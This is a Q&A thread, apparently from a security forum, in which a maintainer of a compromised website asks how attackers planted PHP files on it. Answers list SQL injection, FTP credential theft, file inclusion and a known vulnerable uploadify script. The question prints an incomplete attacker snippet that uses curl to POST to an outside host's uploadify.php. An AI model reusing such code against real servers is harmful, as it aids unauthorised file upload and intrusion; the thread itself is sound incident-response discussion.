I was entrusted with an existed website for which I should do some changes on the design part, but when I was about to access it, i've seen that it has been compromised. When I was searching for the problem, I found an exploit PHP file containing this code:


$ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,


curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);


print "$postResult";

I can figure out what this script is doing, but I have no idea how the attacker managed to upload it on the server. The only form that the website had was a contact form, and it was only the HTML part without the mail function. Furthermore, I've found 4 more PHP files designed as shells, with a lot of code inside, so I'm not going to post it here.

Are there any ways of deploying such packages without an uploading form, actually without a form at all?

EDIT: The website does have a database , but no other control platform like an administration portal or a client zone (there is no direct access toward the database), it does have a ftp , but i have no other information regarding ssh/scp ,etc .

  • Does it use a database? Is there any admin control panel?
    – A. Darwin
    Jun 2, 2016 at 7:37
  • 1
    The security hole could be somewhere else, not necesaraly in the PHP. Maybe a breached FTP password or an SSH login? Or an other website hosted on the same server?
    – Anders
    Jun 2, 2016 at 7:44
  • yes,there is a database , but there are just a few SELECT which it uses to retrieve the menu content. Jun 2, 2016 at 7:44
  • @Anders , yes the breached ftp/ssh may be a posibility , but how can they find the credentials? Jun 2, 2016 at 7:46
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    If your pages make insecure requests from the database, an attacker wouldn't need direct access to it. Similarly, if your pages write to the server filesystem, it's entirely possible that an attacker could abuse those. Examine your server log files for unusual traffic - perhaps large numbers of ftp login attempts, where an attacker is trying to guess a password, or PUT requests against your pages, or anything with a useragent of sqlmap - there are many possibilities.
    – Matthew
    Jun 2, 2016 at 8:18

2 Answers 2


There are a lot of ways. Judging by the main features of your website, an attacker could have used:

  • SQL injection: it is not necessary to have direct access to the database. If you want technical details, this question and its answers explain different ways to obtain a shell from a SQL injection;

  • credential theft: the attacker could have stolen or otherwise obtained your FTP credentials. This can happen through bruteforce attacks, but since standard FTP is not encrypted, and the password is transmitted in cleartext, an attacker could also have sniffed the connection (for example, if you were using a public Wi-Fi network), obtained the password and used it to upload these files;

  • file inclusion (LFI/RFI): if the website is not designed in a careful way, an attacker could upload any PHP file even without any form,database, or stolen credential. For more information: https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion and https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion;

  • malware in your computer: it is possible for an attacker to infect the computer you use to access the website with malware, which could in turn be used to upload PHP files in the website as if you did it. You should already know that there are several ways to infect your computer with malware, but I'm going to highlight one. Spear phishing;

  • countless other ways. I strongly suggest you to take a look at https://www.owasp.org . It contains a lot of information about web application security, including how to perform code reviews, how to test your website for common vulnerabilities and how to eventually defend it from most attacks.

  • thank you very much,i will definitely read them carefully. Jun 2, 2016 at 8:52

Search for uploadify on https://www.exploit-db.com and you will notice that the JS-Script is part of your theme and vulnerable to Arbitrary File Upload Vulnerability.

You could delete that Script and your theme might still work or better yet use another more secure theme.

  • What script are you talking about? Jun 2, 2016 at 8:56

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